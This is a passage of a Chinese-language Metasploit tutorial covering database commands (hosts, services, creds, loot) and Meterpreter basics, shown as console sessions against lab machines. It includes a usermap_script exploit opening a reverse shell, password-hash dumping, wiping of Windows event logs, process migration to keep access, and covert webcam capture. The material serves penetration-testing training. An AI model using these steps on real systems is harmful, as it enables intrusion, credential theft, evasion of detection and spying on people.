   INTERFACE                     no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   SNAPLEN      65535            yes       The number of bytes to capture
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds
```

注意，我们未对'RHOSTS'进行设置，我们接下来会使用 hosts 命令的'-R'参数，来运行这个模块。

```
msf  auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts
=====

address          os_flavor
-------          ---------
172.16.194.172   Ubuntu

RHOSTS => 172.16.194.172

msf  auxiliary(tcp) > run

[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN
```

```
...snip...

[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

如果结果中包含多个地址，这种方法也是会起作用的。

```
msf  auxiliary(tcp) > hosts -R

Hosts
=====

address         mac                name  os name            os flavor  os sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server

RHOSTS => 172.16.194.134 172.16.194.172

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting                Required  Description
   ----         ---------------                --------  -----------
   CONCURRENCY  10                             yes       The number of concurrent ports to check per
host
   FILTER                                      no        The filter string for capturing traffic
   INTERFACE                                   no        The name of the interface
   PCAPFILE                                    no        The name of the PCAP capture file to process
   PORTS        1-10000                        yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       172.16.194.134 172.16.194.172  yes       The target address range or CIDR identifier
   SNAPLEN      65535                          yes       The number of bytes to capture
   THREADS      1                              yes       The number of concurrent threads
   TIMEOUT      1000                           yes       The socket connect timeout in milliseconds
```

如果我们的数据库中有成百上千条数据，我们可以查询 Windows 机器，并指定 RHOSTS，然后执行 smb_version 扫描。

Services

查询数据库，也可以使用'services'命令。

```
msf > services -h

Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]
```

```
  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,--help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r <protocol>     Only show [tcp|udp] services
  -u,--up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: created_at, info, name, port, proto, state,
updated_at
```

同 hosts 命令一样，我们可以指定显示区域.指定'-S',可以查找一个包含指定字符串的服务.

```
msf > services -c name,info 172.16.194.134

Services
========

host            name          info
----            ----          ----
172.16.194.134  http          Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134  msrpc         Microsoft Windows RPC
172.16.194.134  netbios-ssn
172.16.194.134  http          Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134  microsoft-ds  Microsoft Windows XP microsoft-ds
172.16.194.134  mysql
```

```
msf > services -c name,info -S http

Services
========

host            name  info
----            ----  ----
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17
OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17
OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.172  http  Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.194.172  http  Apache Tomcat/Coyote JSP engine 1.1
```

```
msf > services -c info,name -p 445
```

```
Services
========

host            info                                    name
----            ----                                    ----
172.16.194.134  Microsoft Windows XP microsoft-ds       microsoft-ds
172.16.194.172  Samba smbd 3.X workgroup: WORKGROUP     netbios-ssn
```

```
msf > services -c port,proto,state -p 70-81

Services
========

host            port  proto  state
----            ----  -----  -----
172.16.194.134  80    tcp    open
172.16.194.172  75    tcp    closed
172.16.194.172  71    tcp    closed
172.16.194.172  72    tcp    closed
172.16.194.172  73    tcp    closed
172.16.194.172  74    tcp    closed
172.16.194.172  70    tcp    closed
172.16.194.172  76    tcp    closed
172.16.194.172  77    tcp    closed
172.16.194.172  78    tcp    closed
172.16.194.172  79    tcp    closed
172.16.194.172  80    tcp    open
172.16.194.172  81    tcp    closed
```

```
msf > services -s http -c port 172.16.194.134

Services
========

host            port
----            ----
172.16.194.134  80
172.16.194.134  443
```

```
msf > services -S Unr

Services
========

host            port  proto  name  state  info
----            ----  -----  ----  -----  ----
172.16.194.172  6667  tcp    irc   open   Unreal ircd
172.16.194.172  6697  tcp    irc   open   Unreal ircd
```

CSV Export

hosts 和 services 命令让我们可以将查询的结果保存到指定 CSV 文件.

```
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

[*] Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server",""
,""

msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv

host,port
"172.16.194.134","80"
"172.16.194.134","443"
```

Creds

'creds'命令用于用于管理数据库中的证书.

```
msf > creds -h
Usage: creds [addr range]
Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>

  -a,--add              Add creds to the given addresses instead of
listing
  -d,--delete           Delete the creds instead of searching
  -h,--help             Show this help information
  -o <file>             Send output to a file in csv format
  -p,--port <portspec>  List creds matching this port spec
  -s <svc names>        List creds matching these service names
  -t,--type <type>      Add a cred of this type (only with -a). Default:
password
  -u,--user             Add a cred for this user (only with -a).
Default: blank
```

```
  -P,--password         Add a cred with this password (only with -a).
Default: blank
  -R,--rhosts           Set RHOSTS from the results of the search
  -S,--search           Search string to filter by

Examples:
  creds               # Default, returns all active credentials
  creds all           # Returns all credentials active or not
  creds 1.2.3.4/24    # nmap host specification
  creds -p 22-25,445  # nmap port specification
  creds 10.1.*.* -s ssh,smb all
```

```
msf > creds

Credentials
===========

host             port  user  pass         type      active?
----             ----  ----  ----         ----      -------
192.168.100.140  445   wix   password124  password  true
```

收集用户证书对完成一次深入的渗透测试是很重要的。如果我们收集到一些证书，我们可以使用'creds -a'将它们加入数据库.

```
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134
port=445 proto=tcp sname= type=password user=Administrator
pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:
:: active=true

msf > creds

Credentials
===========

host            port  user           pass
type      active?
----            ----  ----           ----
----      -------
172.16.194.134  445   Administrator
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
password  true

[*] Found 1 credential.
```

Loot

一旦你攻入一个系统，其中要做的一件事就是获取 hash 值，不管是 Windows 还是*nix 系统，一旦成功获取 hash 值，这些信息会被存储在我们的数据库中，我们可以使用'loot'命令，查看 hash 缓存。

```
msf > loot -h
Usage: loot [-h] [addr1 addr2 ...] [-t ]

  -t   Search for a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter by
```

下面给个例子，进行说明.

```
msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:55138) at 2012-06-27 19:38:54 -0400

^Z
Background session 1? [y/N]  y

msf  exploit(usermap_script) > use post/linux/gather/hashdump
msf  post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module
on.

msf  post(hashdump) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               172.16.194.163:4444 ->
172.16.194.172:55138 (172.16.194.172)
```

```
msf  post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed



msf  post(hashdump) > loot

Loot
====

host             service  type          name                    content
info                             path
----             -------  ----          ----                    -------
----                             ----
172.16.194.172           linux.hashes  unshadowed_passwd.pwd
text/plain  Linux Unshadowed Password File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208
.txt
172.16.194.172           linux.passwd  passwd.tx
text/plain  Linux Passwd File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644
.txt
172.16.194.172           linux.shadow  shadow.tx
text/plain  Linux Password Shadow File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948
.txt
```

About the Metasploit Meterpreter

Meterpreter 是一个高级，动态扩展的 payload，在内存中使用 DLL 注入 stagers(参阅 payload 分类)，即时通过网络扩展。它使用一个 stager socket 进行通信，并提供一个客户端 Ruby API 接口。它支持命令记录，tab 自动完成，频道等功能。Meterpreter 最早由 skape 为 Metasploit 2.x。开发很多常规的扩展，分离用于 3.x 版本，3.3 版的时候对其进行了检查维护。
服务器部分由纯 C 的代码实现，由 MSVC 编译，并可进行移植。
客户端可以以任意语言实现，Metasploit 采用的是 Ruby client API。

How Meterpreter Works

- 目标启用初始化的 stager.这个 stager 通常是 bind,reverse,findtag,passivex 其中之一。
- 这个 stager 用于加载 DLL.
- Meterpreter 核心初始化，并在 socket 基础上建立一个 TLS/1.0 的连接，然后发送一个 GET 请求，Meterpreter 接受到 GET 请求，并配置客户端。
- 最后，Meterpreter 加载扩展，如果拥有管理员权限，Meterpreter 会加载 stdapi 和 priv。大部分的扩展是通过 TLS/1.0 使用 TLV 协议加载的。

Meterpreter Design Goals

Stealthy

- Meterpreter 驻留在内存中，不会写入任何内容到磁盘。
- Meterpreter 的启用，不用创建新的进程，当然也可以迁移到之前的进程中。
- Meterpreter 在默认情况下，使用的是加密会话。
- 受害者机器上很难发现留下的痕迹。

Powerful

- Meterpreter 使用了一个信道通信系统
- TLV 协议拥有很少的限制。

Extensible
可通过网络在运行的时候加载
直接添加到 Meterpreter，不用重新编译

Adding Runtime Features

- 可以通过扩展，为 Meterpreter 添加一些新的特性。

- 客户端可以通过 socket 上传 DLL
- 服务端可加载 DLL 到内存并对其初始化
- 新的扩展可在服务端进行注册
- 客户端可以调用本地扩展 API，调用服务器端的功能.

Meterpreter Basics

Contents

help

```
meterpreter > help core

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel
```

background

```
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

cat

```
meterpreter > cat
Usage: cat file

Example usage:
meterpreter > cat edit.txt
```

```
What you talkin' about Willis

meterpreter >
```

cd & pwd

lcd & lpwd 用于对客户端当前路径进行切换.
cd & pwd 用于切换服务端(即受害者)路径.

```
meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
```

clearev

用于清除 windows 系统，应用程序，系统，安全日志.该命令无可选参数.

```
meterpreter > getuid
Server username: lab-III\lab  # windows 7 - administrator
meterpreter > clearev
[*] Wiping 5661 records from Application...
[*] Wiping 14380 records from System...
[*] Wiping 6545 records from Security...
```

getuid

查看 meterpreter 当前会话用户.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

hashdump

```
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
3c32186b0d441bb3c04431e2864a44d0...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c
59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
Mix:1000:aad3b435b51404eeaad3b435b51404ee:decbfc2e758039e3df9e1054e55b0
2ec:::


meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is
incorrect.
```

idletime

查看 meterpreter 当前权限用户的闲置时间.

```
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
```

migrate

migrate 用于进程迁移，有时候在获取 meterpreter 权限后，需要立即做迁移以保住权限.

```
meterpreter > migrate -h
[-] A process ID must be specified, not a process name
meterpreter > migrate 2528
[*] Migrating to 2528...
[*] Migration completed successfully.
```

ps

用于查看进程信息.

```
meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware
Tools\VMwareUser.exe
```

```
    152   VMwareTray.exe        C:\Program Files\VMware\VMware
Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...
```

resource

'resource'命令可以从文本文件获取 meterpreter 命令，每一行对应一个命令，
默认，该命令将分别以当前目录为工作目录.

```
meterpreter > resource
Usage: resource path1 path2Run the commands stored in the supplied
files.
meterpreter >
```

path1:　　命令文件的位置[攻击者机器].
Path2Run:　　命令对那个文件夹产生作用[受害者机器]

```
meterpreter > resource res_cmd D:\\temp\\
[*] Reading /root/Desktop/res_cmd
[*] Running ls


Listing: D:\temp
================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40777/rwxrwxrwx   0         dir   2013-06-26 13:50:06 +0800  .
40777/rwxrwxrwx   0         dir   1980-01-01 00:30:00 +0830  ..
40777/rwxrwxrwx   0         dir   2013-06-24 13:52:01 +0800  temp
100666/rw-rw-rw-  97643815  fil   2013-06-26 13:50:06 +0800  jdk-7u25-
linux-i586.tar.gz
```

search

'search'命令可用于查找目标机器上面的文件.

```
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.

OPTIONS:

    -d <opt>  The directory/drive to begin searching from. Leave empty
to search all drives. (Default: )
    -f <opt>  The file pattern glob to search for. (e.g. *secret*.doc?)
```

```
    -h        Help Banner.
    -r <opt>  Recursivly search sub directories. (Default: true)
```

```
meterpreter > search  -f cmd.exe C:\
Found 15 results...
    c:\\Windows\System32\cmd.exe (302592 bytes)
    c:\\Windows\winsxs\x86_microsoft-windows-
commandprompt_31bf3856ad364e35_6.1.7601.17514_none_8d1430a8789ea27a\cmd
.exe (302592
```

```
meterpreter > search -d E:\\ -f cmd.exe
Found 1 result...
    E:\temp\cmd.exe (470016 bytes)
```

shell

```
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

execute

```
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

webcam_list

查看可用的网络摄像头

```
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
```

webcam_snap

获取网络摄像头快照

```
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.

OPTIONS:

    -h      Help Banner
    -i <opt>  The index of the webcam to use (Default: 1)
    -p <opt>  The JPEG image path (Default: 'gnFjTnzi.jpeg')
    -q <opt>  The JPEG image quality (Default: '50')
    -v <opt>  Automatically view the JPEG image (Default: 'true')

meterpreter >
```

```
-h:
Displays the help information for the command

-i opt:
If more then 1 web cam is connected, use this option to select the
device to capture the image from

-p opt:
Change path and filename of the image to be saved

-q opt:
The imagine quality, 50 being the default/medium setting, 100 being
best quality

-v opt:
By default the value is true, which opens the image after capture.
```

```
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/yFMaalLB.jpeg
meterpreter >
```